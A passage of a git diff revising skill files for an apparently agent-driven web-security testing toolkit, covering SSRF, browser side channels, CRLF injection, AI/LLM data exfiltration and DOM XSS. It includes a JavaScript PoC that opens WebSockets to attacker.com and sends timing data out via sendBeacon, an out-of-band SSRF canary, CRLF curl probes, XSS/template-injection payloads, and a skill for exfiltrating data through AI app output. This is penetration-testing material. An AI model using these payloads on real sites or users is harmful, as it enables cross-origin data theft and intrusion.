diff --git a/capabilities/web-security/skills/agent-browser/SKILL.md b/capabilities/web-security/skills/agent-browser/SKILL.md
index 2df1353..23f6c70 100644
--- a/capabilities/web-security/skills/agent-browser/SKILL.md
+++ b/capabilities/web-security/skills/agent-browser/SKILL.md
@@ -195,59 +195,21 @@ agent-browser click @e5
 agent-browser wait --load networkidle
 ```
 
-### Authentication with Auth Vault (Recommended)
+### Authentication (see [references/authentication.md](references/authentication.md) for full details)
 
 ```bash
-# Save credentials once (encrypted with AGENT_BROWSER_ENCRYPTION_KEY)
-# Recommended: pipe password via stdin to avoid shell history exposure
+# Auth vault (recommended): credentials stored encrypted, LLM never sees password
 echo "pass" | agent-browser auth save github --url https://github.com/login --username user --password-stdin
-
-# Login using saved profile (LLM never sees password)
 agent-browser auth login github
 
-# List/show/delete profiles
-agent-browser auth list
-agent-browser auth show github
-agent-browser auth delete github
-```
-
-### Authentication with State Persistence
-
-```bash
-# Login once and save state
-agent-browser open https://app.example.com/login
-agent-browser snapshot -i
-agent-browser fill @e1 "$USERNAME"
-agent-browser fill @e2 "$PASSWORD"
-agent-browser click @e3
-agent-browser wait --url "**/dashboard"
-agent-browser state save auth.json
-
-# Reuse in future sessions
-agent-browser state load auth.json
-agent-browser open https://app.example.com/dashboard
-```
-
-### Session Persistence
-
-```bash
-# Auto-save/restore cookies and localStorage across browser restarts
+# Session persistence: auto-save/restore across restarts
 agent-browser --session-name myapp open https://app.example.com/login
 # ... login flow ...
-agent-browser close  # State auto-saved to ~/.agent-browser/sessions/
-
-# Next time, state is auto-loaded
-agent-browser --session-name myapp open https://app.example.com/dashboard
-
-# Encrypt state at rest
-export AGENT_BROWSER_ENCRYPTION_KEY=$(openssl rand -hex 32)
-agent-browser --session-name secure open https://app.example.com
+agent-browser close  # State auto-saved
 
-# Manage saved states
-agent-browser state list
-agent-browser state show myapp-default.json
-agent-browser state clear myapp
-agent-browser state clean --older-than 7
+# State files: manual save/load
+agent-browser state save auth.json
+agent-browser state load auth.json
 ```
 
 ### Data Extraction
@@ -621,4 +583,3 @@ Supported engines:
 - `lightpanda` -- Lightpanda headless browser via CDP (10x faster, 10x less memory than Chrome)
 
 Lightpanda does not support `--extension`, `--profile`, `--state`, or `--allow-file-access`. Install Lightpanda from https://lightpanda.io/docs/open-source/installation.
-
diff --git a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md
index 28599ed..0b612ff 100644
--- a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md
+++ b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md
@@ -24,6 +24,8 @@ Chain: `attacker -> SSRF -> internal service -> outbound request -> OOB callback
 
 Services that make outbound requests when hit via SSRF: Confluence, Jira, Jenkins, Solr, Weblogic, Hystrix Dashboard, W3 Total Cache. Hit them internally, they fetch your callback URL, confirming exploitation.
 
+**Checkpoint:** Before attempting payloads, confirm blind SSRF with a canary: `?url=http://YOUR-OOB-SERVER/ssrf-test`. If no callback received, the SSRF may not be server-side.
+
 ## Fingerprinting (Blind)
 
 | Signal | Technique |
diff --git a/capabilities/web-security/skills/browser-side-channel/SKILL.md b/capabilities/web-security/skills/browser-side-channel/SKILL.md
index 8e0ca3b..0ce1d49 100644
--- a/capabilities/web-security/skills/browser-side-channel/SKILL.md
+++ b/capabilities/web-security/skills/browser-side-channel/SKILL.md
@@ -13,69 +13,88 @@ description: Browser-based side channel attacks for cross-origin data leaks via
 ## Techniques
 
 ### XSS-Leak via Connection Pool Exhaustion (Chrome)
-Exploit Chrome's per-process socket pool limit to leak cross-origin redirects:
 
 1. **Saturate** Chrome's 256-connection pool (open 255 persistent connections)
 2. **Trigger** a cross-origin navigation that may redirect based on state
-3. **Measure** which host resolves next — Chrome resolves DNS in lexicographic order when pool is full
+3. **Measure** which host resolves next -- DNS timing differs under pool exhaustion
 4. **Binary search** the leaked hostname character by character
 
-Prerequisites: Victim visits attacker page, target redirects to different hosts based on auth state.
-
-Test setup:
 ```javascript
 // Saturate pool with 255 WebSocket connections to different hosts
 for (let i = 0; i < 255; i++) {
   new WebSocket(`wss://pad-${i}.attacker.com/hold`);
 }
-// Trigger cross-origin fetch — redirect destination leaks via timing
-fetch('https://target.com/auth-redirect', {mode: 'no-cors'});
-// Measure: if redirect went to admin.target.com vs login.target.com
-// the DNS resolution timing differs due to pool exhaustion ordering
+// Trigger cross-origin fetch -- redirect destination leaks via timing
+const start = performance.now();
+fetch('https://target.com/auth-redirect', {mode: 'no-cors'}).then(() => {
+  const elapsed = performance.now() - start;
+  // admin.target.com vs login.target.com have different DNS timing under pool exhaustion
+  navigator.sendBeacon('https://attacker.com/log', `elapsed=${elapsed}`);
+});
 ```
 
+**Checkpoint:** If timing variance between states is <5ms, increase sample count to 50+ and average. If WebSocket connections drop, server may be closing idle sockets -- send keepalive pings via `setInterval`.
+
 ### Cross-Site ETag Length Oracle (Express.js)
-Exploit Express's default 16KB header limit to create a boolean oracle:
 
 1. **Observe**: Express auto-generates ETag headers for responses
 2. **Trigger**: Browser caches ETag, sends it back as `If-None-Match`
 3. **Overflow**: Pad the request to approach 16KB header limit
-4. **Differentiate**: If ETag is long (large response) → 431 error. If short → 304 Not Modified.
-5. **Leak**: Response size reveals content (e.g., admin panel vs 403)
+4. **Differentiate**: Long ETag (large response) -> 431 error. Short -> 304 Not Modified.
 
 ```http
 GET /api/user/profile HTTP/1.1
 If-None-Match: "cached-etag-value"
 X-Pad: AAAA...AAAA  (pad to ~16KB minus ETag length threshold)
 ```
-- 431 = ETag + padding exceeded 16KB → response was large (user exists, has data)
-- 304 = ETag matched, response was small → different state
+- 431 = ETag + padding exceeded 16KB -> response was large (user exists, has data)
+- 304 = ETag matched, response was small -> different state
+
+**Checkpoint:** Send without padding first to confirm normal 200/304 behavior. Then binary search padding length: if 431 at N bytes but not N-100, ETag is between (16384-N) and (16384-N+100) bytes.
 
 ### Timing-Based State Detection
-Measure response time differences for cross-origin requests:
-```javascript
-const start = performance.now();
-const img = new Image();
-img.onload = img.onerror = () => {
-  const elapsed = performance.now() - start;
-  // Authenticated responses often larger/slower than 302 redirects
-  if (elapsed > THRESHOLD) { /* user is logged in */ }
-};
-img.src = 'https://target.com/dashboard-asset';
+
+```html
+<script>
+async function detectLoginState(targetUrl, samples = 30) {
+  const times = [];
+  for (let i = 0; i < samples; i++) {
+    const start = performance.now();
+    await new Promise(resolve => {
+      const img = new Image();
+      img.onload = img.onerror = resolve;
+      img.src = targetUrl + '?cachebust=' + Math.random();
+    });
+    times.push(performance.now() - start);
+  }
+  const mean = times.reduce((a, b) => a + b) / times.length;
+  const stddev = Math.sqrt(times.reduce((s, t) => s + (t - mean) ** 2, 0) / times.length);
+  return { mean: mean.toFixed(1), stddev: stddev.toFixed(1), samples: times.length };
+}
+
+// Logged-in: ~200ms+ (full page). Logged-out: ~50ms (302 redirect).
+detectLoginState('https://target.com/dashboard-asset').then(r =>
+  console.log(`Mean: ${r.mean}ms, StdDev: ${r.stddev}ms`)
+);
+</script>
 ```
 
+**Checkpoint:** Run against a known-state endpoint first to establish baseline. If stddev >30% of mean, network jitter is too high -- increase sample count or use HTTP/2 multiplexing.
+
 ### Cache Probing
-Detect if a user has visited a URL by measuring cache hit vs miss timing:
-- Cached resource loads in ~1-2ms
-- Network fetch takes 50ms+
-- Reveals browsing history for same-origin resources
+Cached resource loads in ~1-2ms vs network fetch at 50ms+. Reveals browsing history for same-site resources.
+
+**Checkpoint:** Clear cache and re-measure to confirm delta is reproducible. Modern browsers partition cache by top-level site -- this only works for same-site resources.
+
+## Workflow
 
-## Detection Checklist
 1. Map target redirects that differ based on auth/role state
 2. Identify response size differences between states (admin vs user vs anon)
 3. Check if Express.js (ETag auto-generation) or similar framework in use
-4. Test `performance.now()` timing resolution in target browser
-5. Determine if attack requires user interaction or is fully passive
-
-## Key Insight
-These attacks don't require XSS — they exploit browser resource management (sockets, cache, headers) as an oracle. The information leaks through metadata (timing, status codes, resource limits), not content.
+4. Select technique based on available signal:
+   - Size difference -> ETag oracle
+   - Redirect difference -> connection pool exhaustion
+   - Timing difference -> timing-based detection
+5. Run PoC with >=30 samples, calculate mean/stddev
+6. If stddev > mean/3 -> increase samples or try different technique
+7. Confirm cross-origin: PoC must work from attacker origin, not same-origin
diff --git a/capabilities/web-security/skills/crlf-response-splitting/SKILL.md b/capabilities/web-security/skills/crlf-response-splitting/SKILL.md
index 948db71..f4395fe 100644
--- a/capabilities/web-security/skills/crlf-response-splitting/SKILL.md
+++ b/capabilities/web-security/skills/crlf-response-splitting/SKILL.md
@@ -59,10 +59,16 @@ If you can inject only one CRLF and not split the body, useful follow-on headers
 - `Refresh: 0;url=https://attacker.example`
 - cache-control mutations for poisoning
 
-## Indicators
-- Header reflection preserves CRLF characters
-- `%0d%0a` behaves differently from `%0a`
-- CSP blocks inline payloads but allows same-origin scripts
+## Detection
+```bash
+# Test for CRLF injection in headers
+curl -sD- "https://target.com/endpoint?param=test%0d%0aX-Injected:true" | rg "X-Injected"
+
+# Compare %0d%0a vs %0a behavior
+curl -sD- "https://target.com/endpoint?param=test%0a%0aX-Injected:true" | rg "X-Injected"
+```
+
+**Checkpoint:** If `X-Injected` appears in response headers with `%0d%0a` but not with `%0a` alone, CRLF injection is confirmed. Check CSP with `curl -sD- URL | rg -i "content-security-policy"` to determine if nested splitting is needed.
 
 ## Chain With
 - `web-cache-deception-path`
diff --git a/capabilities/web-security/skills/data-exfil/SKILL.md b/capabilities/web-security/skills/data-exfil/SKILL.md
index 17594ca..44f343c 100644
--- a/capabilities/web-security/skills/data-exfil/SKILL.md
+++ b/capabilities/web-security/skills/data-exfil/SKILL.md
@@ -1,14 +1,7 @@
 ---
 name: data-exfil
-description: |
-  AI/LLM data exfiltration techniques via rendered markdown, HTML-in-markdown, tool artifacts, domain encoding, and url_safe bypasses. Use when crafting exfil payloads for AI red teaming, analyzing AI app rendering pipelines for exfil surfaces, bypassing URL filters/sanitizers, or reviewing AI-generated output for exfil risk.
-allowed-tools:
-  - read
-  - write
-  - edit_file
-  - bash
-  - grep
-  - glob
+description: AI/LLM data exfiltration techniques via rendered markdown, HTML-in-markdown, tool artifacts, domain encoding, and url_safe bypasses. Use when crafting exfil payloads for AI red teaming, analyzing AI app rendering pipelines for exfil surfaces, bypassing URL filters/sanitizers, or reviewing AI-generated output for exfil risk.
+allowed-tools: read, write, edit_file, bash, grep, glob
 ---
 
 # AI Data Exfiltration Techniques
diff --git a/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md b/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md
index 8cb60f0..6f2a5d9 100644
--- a/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md
+++ b/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md
@@ -1,168 +1,72 @@
 ---
 name: dom-vulnerability-detection
-description: DOM-based XSS and client-side vulnerability detection for code review and dynamic analysis. USE WHEN auditing JavaScript code, reviewing client-side security, analyzing DOM manipulation, testing postMessage handlers, checking URL validation, investigating client-side template injection (AngularJS, Vue.js, htmx), OR identifying attacker-controlled sources and dangerous sinks. Covers source tracing, sink identification, sanitization validation, browser quirks (DOM clobbering, mutation XSS), and framework-specific vulnerabilities.
+description: DOM-based XSS and client-side vulnerability detection via dynamic analysis -- trace attacker-controlled sources to dangerous sinks, audit postMessage handlers, test CSTI in Angular/Vue/htmx, and check for DOM clobbering. Use when auditing JavaScript code, reviewing client-side security, analyzing DOM manipulation, or testing postMessage handlers.
 ---
 
-# DynamicDomVulnerabilityDetection
+## Sources (attacker-controlled input)
+`location.hash`, `location.search`, `location.href`, `document.URL`, `document.referrer`, `window.name`, `postMessage event.data`, `document.cookie`, `localStorage`/`sessionStorage`
 
-Comprehensive framework for identifying DOM-based cross-site scripting (XSS) and related client-side vulnerabilities during code review and dynamic analysis.
+## Sinks (dangerous output)
+`innerHTML`, `outerHTML`, `document.write()`, `eval()`, `setTimeout(string)`, `new Function()`, `location.href=`, `location.assign()`, `element.src=`, `jQuery.html()`, `$.globalEval()`, `v-html`, `ng-bind-html`, `dangerouslySetInnerHTML`
 
-## Overview
+## Analysis workflow
 
-DOM-based vulnerabilities occur when JavaScript reads data from an attacker-controlled source (for example, the URL or a cross-origin message) and sends it to a sink that interprets it as HTML or JavaScript. This skill summarizes the critical concepts and patterns needed to detect and exploit these issues, based on research across multiple security resources.
+### 1. Find sources reaching sinks
+```bash
+# Search for dangerous sinks in JS files
+rg "innerHTML|outerHTML|document\.write|\.html\(" --type js --type ts -n src/
+rg "eval\(|setTimeout\(|setInterval\(|new Function\(" --type js -n src/
 
-## When to Use This Skill
-
-Activate this skill whenever you are asked to:
-* Review JavaScript or HTML for potential cross-site scripting vulnerabilities
-* Assess whether user-controlled data can reach dangerous DOM APIs (innerHTML, document.write, eval, etc.)
-* Audit custom safe-URL helpers or regex filters for URL or input validation
-* Investigate cross-window messaging (postMessage) logic for origin and reference checks
-* Test single-page applications or front-end frameworks (AngularJS, Vue.js, htmx, etc.) for client-side template injection (CSTI)
-
-## Step-by-Step Analysis Framework
-
-### 1. Identify Attacker-Controlled Sources
-
-Look for any of the following sources of input. These can carry malicious payloads if not properly sanitised:
-
-* **Location:** `window.location`, `location.search`, `location.hash`, and related properties. Path and fragment data may be used without encoding.
-* **Referrer:** `document.referrer` can contain untrusted data.
-* **Cookies and storage:** Values from `document.cookie`, `localStorage`, etc., may originate from another subdomain or previous XSS.
-* **Window name:** `window.name` is cross-origin writable and readable.
-* **Messages:** Data passed via `postMessage` (the `e.data` property) is arbitrary and untrusted.
-
-Use search tools (Ctrl+Shift+F in DevTools or grep) to find these sources in JavaScript files.
-
-### 2. Trace the Data Flow
-
-After locating a source, trace each assignment or transformation until you reach a sink. Keep track of variable names as they are reassigned. Use breakpoints in DevTools to inspect variable values at runtime.
-
-### 3. Locate Dangerous Sinks
-
-Common DOM sinks include:
-
-* **HTML injection:** Assignments to `.innerHTML`, `.outerHTML`, `.insertAdjacentHTML`, calls to `document.write()`, `document.open()` ... `.write()` `.close()`, or jQuery's `.html()` and `.append()`.
-* **URL redirects:** Assigning unvalidated strings to `location`, `location.href`, `location.assign()`, `window.open()`, or setting attribute values such as `element.src` or `element.href`.
-* **Code execution:** Calls to `eval()`, `Function()`, `setTimeout()` or `setInterval()` with string arguments. jQuery's `$()` selector and other library helpers may implicitly call `.innerHTML`.
-* **Template expressions:** AngularJS attributes like `ng-init` and Vue.js interpolation (`{{ ... }}`) interpret input as code.
-
-If user-controlled data flows into any of these sinks, test for XSS by injecting a harmless payload such as `<img src onerror=alert(1)>` for HTML sinks, or `alert(1)` for JavaScript sinks. Remember that `<script>` tags do not execute when added via `.innerHTML`; use event handlers on `<img>` or `<iframe>` instead.
-
-### 4. Evaluate Sanitisation and Filters
-
-When filters or helpers are used, verify their correctness:
-
-* **Regex validation:** Ensure regular expressions anchor the start of the string (`^`) as well as the end (`$`). A trailing `$` alone allows attackers to prepend arbitrary HTML. Avoid patterns like `/([a-zA-Z0-9]+|\s)+$/` which only constrain the end of the string.
-* **Safe URL functions:** Be cautious of helpers that use `new URL(userInput, location)` and compare `.origin` against `window.location.origin`. If an attacker omits `//` in a URL (`https:example.com`), the relative parser may treat the URL as a local path, whereas the absolute parser will resolve to `https://example.com`. Parse the URL only once and validate both protocol and host.
-* **Type coercion:** Do not trust objects simply because they are not strings. Passing an array with a malicious `toString()` to a URL helper can produce `javascript:` schemes. Always check the type explicitly.
-
-### 5. Examine Browser Quirks
-
-Be aware of subtle DOM behaviours that can be abused:
-
-* **DOM clobbering:** HTML elements become global variables on `window` via their `id` attribute. An attacker can inject an element like `<img id="CONFIG_SRC" data-url="https://attacker.com/poc.js">` so that `window.CONFIG_SRC.dataset.url` points to a malicious script. Avoid using `window.<id>` to reference elements and use `document.getElementById()` instead.
-* **Race conditions:** When asynchronous functions like `requestIdleCallback()` load dynamic scripts, an attacker may manipulate elements between the check and the use. Ensure checks occur immediately before inserting the script and do not rely on timed order.
-* **Mutation XSS:** Some sanitizers (e.g. DOMPurify) can be bypassed when browsers re-interpret mutated HTML. Test payloads like `<svg><g onload=alert(1)></g></svg>` or unusual Unicode characters.
-
-### 6. Investigate postMessage Handlers
-
-Cross-window communication via `window.postMessage()` is a common source of client-side vulnerabilities. Follow these steps:
-
-1. **Enumerate handlers:** Search for `addEventListener('message', ...)` or assignments to `onmessage`. Use browser extensions like postMessage-tracker to log messages.
-2. **Verify origin checks:** A handler must strictly compare `e.origin` to an exact, whitelisted origin or to `window.location.origin`. Avoid `startsWith()` or `endsWith()` checks; subdomain tricks like `https://example.com.attacker.com` or `anythingexample.com` bypass them. Never compare to `window.origin`; this property can be `'null'` and is easily spoofed.
-3. **Inspect event.source:** Do not trust window references alone; attackers can hijack nested iframes or produce messages with `e.source=null` by deleting the iframe after sending the message. Always verify both the origin and the expected window reference.
-4. **Sanitise message data:** Do not call functions based on `e.data`. Attackers can craft structured clone objects (arrays with additional properties) so that `window[data.func](data)` or similar patterns will invoke `setTimeout`, `constructor.constructor`, or other built-in executors. Accept only primitive types or explicitly parse JSON to discard prototype properties.
-5. **Beware of null origins:** Sandboxed iframes (`<iframe sandbox="... allow-scripts">`) produce messages with `e.origin === 'null'`. Treat these as untrusted even when `window.origin` is also `'null'`.
-6. **Check ordering in comparisons:** When using helper functions like `isSameOrigin`, ensure you compare the trusted origin against the untrusted one in the correct order. Passing arguments in reverse may inadvertently accept `'null'` origins.
-
-### 7. Test Front-End Frameworks
-
-Client-side template injection (CSTI) occurs when frameworks interpret user input as template expressions:
-
-* **AngularJS (v1.x):** Attributes like `ng-init` and interpolation `{{constructor.constructor('alert(1)')()}}` execute arbitrary code when within an element that has `ng-app` or `data-ng-app`. Injection is also possible via `data-ng-init` and class-based syntax such as `class="ng-init:constructor.constructor('alert(1)')()"`. Newer Angular versions (v2+) are not vulnerable in this way.
-* **Vue.js:** Within a Vue instance, payloads like `{{this.constructor.constructor('alert(1)')()}}` may execute. Vue also allows event handlers via attributes like `v-on` or `@click`.
-* **htmx:** Attributes such as `hx-on="error:alert(1)"` or malformed attribute names (`hx-trigger="x[1)}),alert(2)//]"`) can break into evaluation.
-
-When reviewing code using a framework, search for places where user input is inserted directly into templates or directive attributes without proper escaping. Test injecting `{{7*7}}` or other harmless expressions to see if the result is evaluated.
-
-### 8. Perform Dynamic Testing
-
-1. **Inject markers:** Modify the URL (query string, hash) or other sources with a unique token (e.g. `XSS_TEST`) and observe whether it appears in the DOM. Use DevTools search (Ctrl+F) to locate the token.
-2. **Trigger events:** If the code uses the hash, load the page normally and then modify `window.location.hash` via JavaScript or by changing the URL.
-3. **Set breakpoints:** Use DevTools to set breakpoints at points where sources are read or sinks are called. Step through the code to inspect variable values.
-4. **Try payloads:** Replace the marker with payloads appropriate for the sink. For HTML sinks, `<img src=x onerror=alert(1)>` is a universal payload. For location assignments, use `javascript:alert(1)`. For eval or setTimeout, use plain `alert(1)` or craft arrays with properties as described above.
-5. **Observe browser differences:** Some browsers encode `location.search` and `location.hash` automatically. Test in multiple browsers if a payload fails.
-
-## Sources and Sinks Reference
-
-| Category | Examples |
-|----------|----------|
-| **Sources** | `location.search`, `location.hash`, `location.pathname`, `document.referrer`, `document.cookie`, `window.name`, `event.data` in message handlers |
-| **HTML sinks** | `.innerHTML`, `.outerHTML`, `.insertAdjacentHTML()`, `document.write()`, `document.open()/write()/close()`, jQuery's `.html()`, `.append()`, `.attr()` when setting src or href |
-| **Execution sinks** | `eval()`, `Function()`, `setTimeout()/setInterval()` with string input, assignment of `javascript:` URLs to location or `<a href>` attributes |
-| **DOM manipulations** | Creating `<script>` elements with dynamic src, using `document.createElement('iframe')` with user-controlled src, adding dynamic `<link>` or `<style>` elements |
-| **Framework sinks** | AngularJS `ng-init`, `ng-app` expressions; Vue `v-bind`, `v-on` directives; htmx `hx-on`, `hx-trigger` |
-
-## High-Signal Patterns to Watch For
-
-During code review, prioritise code segments matching these patterns:
-
-1. Assignments like `element.innerHTML = userInput` or `document.write(userInput)`. Ask where `userInput` originates.
-2. Creation of `<script>` tags where the src is derived from user data or a `data-` attribute (`window.CONFIG_SRC.dataset.url`).
-3. Safe-URL checks comparing `new URL(url, location).origin` to `location.origin` without verifying the scheme and host.
-4. Use of `match()` or `test()` on user strings with regexes lacking a `^` anchor. Example: `/([a-zA-Z0-9]+|\s)+$/`.
-5. Calls to `postMessage(message, '*')` and handlers lacking strict `e.origin` checks or using `window.origin`.
-6. Handlers executing dynamic functions (`window[data.func](data)`, `callbacks[category][name](data)`), or calling `eval(e.data)`.
-7. Use of `window.<id>` variables (DOM clobbering) or global variables not explicitly declared.
-8. Framework attributes binding user input directly into template expressions (`{{...}}`, `ng-init`, `v-html`).
-
-## Defensive Recommendations
-
-Advise developers and testers to adopt the following defences:
+# Search for postMessage handlers without origin checks
+rg "addEventListener.*message" --type js -n src/
+```
 
-* **Encode and escape outputs:** Use appropriate context-sensitive encoding functions (HTML encode, attribute encode, JavaScript encode) before inserting data into the DOM.
-* **Use Trusted Types:** Enforce Trusted Types to prevent assignment of unsafe strings to DOM sinks.
-* **Validate URLs strictly:** Parse user URLs once, require explicit schemes (`http://`, `https://`), and check both host and scheme against an allow-list. Reject ambiguous formats like `https:example.com`.
-* **Anchor regex filters:** Use `^` and `$` in patterns and avoid using alternations that can be bypassed by prepending malicious data.
-* **Sanitise message data:** Use structured formats like JSON for messages, and always validate `e.origin`. Never trust `window.origin` or treat `'null'` as trusted.
-* **Avoid global element IDs:** When referencing elements, use `document.getElementById()` or scoped variables instead of relying on the global window object.
-* **Limit dynamic script loading:** Avoid injecting scripts based on untrusted data. If dynamic loading is necessary, apply a strict allow-list of accepted paths or hosts.
-* **Keep sanitizers up to date:** Libraries like DOMPurify should be regularly updated, and you should test for known bypasses (mutation XSS) when filtering user input.
+### 2. Trace data flow
+For each sink found, trace backwards: does attacker-controlled input reach it?
+- Direct: `element.innerHTML = location.hash.slice(1)`
+- Via variable: `const data = getParam('q'); ... el.innerHTML = data`
+- Via storage: `localStorage.setItem('x', userInput); ... el.innerHTML = localStorage.getItem('x')`
+
+**Checkpoint:** For each sink, document: source -> transformations -> sink. If no attacker-controlled source reaches the sink, mark as not exploitable and move on.
+
+### 3. Check sanitization
+If sanitization exists, verify it is adequate:
+- DOMPurify -> check version, config (is `ALLOW_UNKNOWN_PROTOCOLS` set?)
+- Custom sanitizer -> see `custom-sanitizer-audit` skill
+- Framework auto-escaping -> verify not bypassed by `v-html`, `dangerouslySetInnerHTML`, `[innerHTML]`
+
+### 4. Audit postMessage handlers
+```javascript
+// VULNERABLE -- no origin check
+window.addEventListener('message', (e) => {
+  document.getElementById('output').innerHTML = e.data.html;
+});
+
+// SAFE -- origin validated
+window.addEventListener('message', (e) => {
+  if (e.origin !== 'https://trusted.com') return;
+  // ... process e.data
+});
+```
 
-## Examples
+**Checkpoint:** For each handler, verify: (1) strict `e.origin` equality check exists, (2) no `window.origin` comparison, (3) no `startsWith`/`endsWith` on origin, (4) data is not passed to dynamic execution (`window[data.func]`).
 
-**Example 1: Audit URL parameter handling**
-```
-User: "Review this JavaScript file for XSS vulnerabilities"
-→ Search for location.search, location.hash usage
-→ Trace data flow to innerHTML, document.write, or eval sinks
-→ Identify missing sanitization and report findings
-```
+### 5. Test CSTI (Client-Side Template Injection)
+- **AngularJS**: `{{constructor.constructor('alert(1)')()}}`
+- **Vue.js**: check if user input reaches `v-html` or template interpolation
+- **htmx**: `hx-get`, `hx-post` with user-controlled URLs
 
-**Example 2: Test postMessage handler security**
-```
-User: "Check if this postMessage handler is secure"
-→ Verify e.origin validation uses strict equality
-→ Check for window.origin usage (vulnerable)
-→ Test with null origin from sandboxed iframe
-→ Report bypasses and recommend fixes
-```
+### 6. Check browser quirks
+- **DOM clobbering**: `<form id="x"><input name="action" value="javascript:alert(1)">` -- overwrites `document.x.action`
+- **Mutation XSS**: HTML that passes sanitizer but mutates in browser DOM -- see `dompurify-mxss-bypass` skill
+- **Prototype pollution**: `__proto__` in URL params or JSON reaching `Object.assign`/spread
 
-**Example 3: Analyze client-side template injection**
+### 7. Verify exploitability
+Build a PoC proving attacker-controlled input triggers the sink:
 ```
-User: "This AngularJS app accepts user input in the URL"
-→ Test for ng-init or {{}} injection points
-→ Try payload: {{constructor.constructor('alert(1)')()}}
-→ Verify if template expressions execute
-→ Document CSTI vulnerability and context
+https://target.com/page#<img src=x onerror=alert(document.domain)>
 ```
+**Checkpoint:** Confirm payload executes (not just reflected). Check CSP -- if blocked, see `csp-bypass` skill.
 
-## References
-
-* [PortSwigger Web Security Academy – DOM-based XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based)
-* [Practical CTF: Cross-Site Scripting and postMessage Exploitation](https://google.com)
-* Youssef Sammouda – DOM XSS write-ups
-* [Client-Side Security](https://book.jorianwoltjer.com/web/client-side)
-* [XSS Deep Dive](https://book.jorianwoltjer.com/web/client-side/cross-site-scripting-xss)
-* [WebSockets Security](https://book.jorianwoltjer.com/web/client-side/websockets)
+## Chain With
+- `csp-bypass` (CSP blocks execution), `dompurify-mxss-bypass` (DOMPurify present), `custom-sanitizer-audit` (homegrown sanitizer), `self-xss-escalation` (payload only fires in own session)
diff --git a/capabilities/web-security/skills/dom-vulnerability-static-analysis/SKILL.md b/capabilities/web-security/skills/dom-vulnerability-static-analysis/SKILL.md
index 9e28f30..398089a 100644
--- a/capabilities/web-security/skills/dom-vulnerability-static-analysis/SKILL.md
+++ b/capabilities/web-security/skills/dom-vulnerability-static-analysis/SKILL.md
@@ -1,225 +1,80 @@
 ---
 name: dom-vulnerability-static-analysis
-description: Static code analysis for DOM-based vulnerabilities in client-side JavaScript. USE WHEN performing pre-commit reviews, auditing large codebases without dynamic execution, triaging minified code for XSS issues, verifying sanitization routines, analyzing source-to-sink data flows, OR reviewing JavaScript files for potential DOM XSS. Covers source identification, data flow tracing, sink detection, sanitization assessment, postMessage handler review, framework-specific constructs, and automated pattern scanning with AST-based tools.
+description: Static code analysis for DOM-based vulnerabilities in client-side JavaScript -- source/sink enumeration via grep and AST tools, data flow tracing, sanitization assessment, and framework-specific sink detection. Use when performing pre-commit reviews, auditing large codebases without dynamic execution, or triaging minified code for XSS issues.
 ---
 
-# DomVulnerabilityStaticAnalysis
+Static analysis framework for DOM XSS -- no dynamic execution needed.
 
-Static code analysis framework for identifying DOM-based vulnerabilities in client-side JavaScript without dynamic execution.
+## 1. Enumerate sources and sinks
 
-## Overview
+```bash
+# Find all dangerous sinks
+rg 'innerHTML|outerHTML|document\.write|insertAdjacentHTML|\.html\(' \
+  --type js --type ts -n src/
 
-DOM-based vulnerabilities occur when untrusted data flows from a source to a sink entirely on the client. Static analysis involves examining the source code to identify these flows without executing the page. According to Intigriti's guide, hunting DOM-based XSS via static code analysis requires manually reviewing JavaScript files, searching for DOM sources, and tracing references forward through the code. Mozilla's research stresses that to avoid DOM XSS bugs we need to inspect patterns where a string is parsed into HTML, such as assignments to innerHTML or outerHTML, calls to insertAdjacentHTML(), and document.write().
+# Find eval-family sinks
+rg 'eval\(|new Function\(|setTimeout\([^,]*["\x27]|setInterval\([^,]*["\x27]' \
+  --type js --type ts -n src/
 
-## When to Use This Skill
+# Find URL assignment sinks
+rg 'location\.(href|assign|replace)\s*=|window\.open\(' \
+  --type js --type ts -n src/
 
-Activate this skill when:
+# Find attacker-controlled sources
+rg 'location\.(hash|search|href)|document\.URL|document\.referrer|window\.name|postMessage' \
+  --type js --type ts -n src/
 
-* You must audit JavaScript for DOM-based vulnerabilities but cannot run the code in a browser (e.g., during pre-commit reviews or reviewing minified code)
-* You need to triage large codebases for potential XSS issues and create high-signal leads for further manual inspection
-* You want to verify whether existing sanitisation routines correctly protect assignments to DOM sinks
-* You are performing automated security scanning at scale
-* You need to analyze minified or obfuscated JavaScript files
-
-## Static Analysis Methodology
-
-The static analysis process can be broken down into the following steps. Be systematic and record all findings for follow-up testing.
-
-### 1. Identify Attacker-Controlled Sources
-
-Begin by listing all the JavaScript constructs that can carry user input:
-
-* **URL components:** `window.location`, `location.search`, `location.hash`, `location.pathname`, and related properties
-* **Document referrer:** `document.referrer`
-* **Cookies and storage:** `document.cookie`, `localStorage`, `sessionStorage`
-* **Window name:** `window.name`
-* **Post messages:** `event.data` in message handlers
-* **Third-party inputs:** Data returned from APIs, query parameters passed into functions, and imported JSON or YAML files
-
-Search across the codebase for these properties. Use a case-sensitive search (grep, ripgrep, or your IDE's find-in-files) to build a list of occurrences. For minified or obfuscated files, consider using a beautifier to improve readability.
-
-### 2. Trace Data Flow to Sinks
-
-Once you locate a source, trace how the data moves through variables. Follow assignments, function arguments, and returns to determine where the value is eventually used. It may help to annotate the code with comments or to draw a simple flow diagram. Keep in mind that static analysis cannot determine the run-time value of a variable; treat any variable assigned from a source as untrusted until proven otherwise.
-
-### 3. Locate Dangerous Sinks
-
-Identify places where untrusted data is inserted into the DOM or executed as code. Key patterns to look for include:
-
-| Sink Category | Examples |
-|---------------|----------|
-| **HTML injection** | Assignments to `.innerHTML` and `.outerHTML`, calls to `insertAdjacentHTML()`, `document.write()` and `document.writeln()`, jQuery's `.html()` and `.append()` methods |
-| **Code execution** | `eval()`, `Function()`, `setTimeout()/setInterval()` when called with a string, or constructing `<script>` elements with dynamic src attributes |
-| **URL redirection** | Assignments to `location`, `location.href`, `location.assign()`, `window.open()` and setting src/href attributes on `<a>`, `<iframe>`, `<img>`, etc. |
-| **Template evaluation** | Framework-specific directives such as AngularJS `ng-init`, Vue `v-bind`/`v-on`, or htmx `hx-on` that interpolate expressions |
-
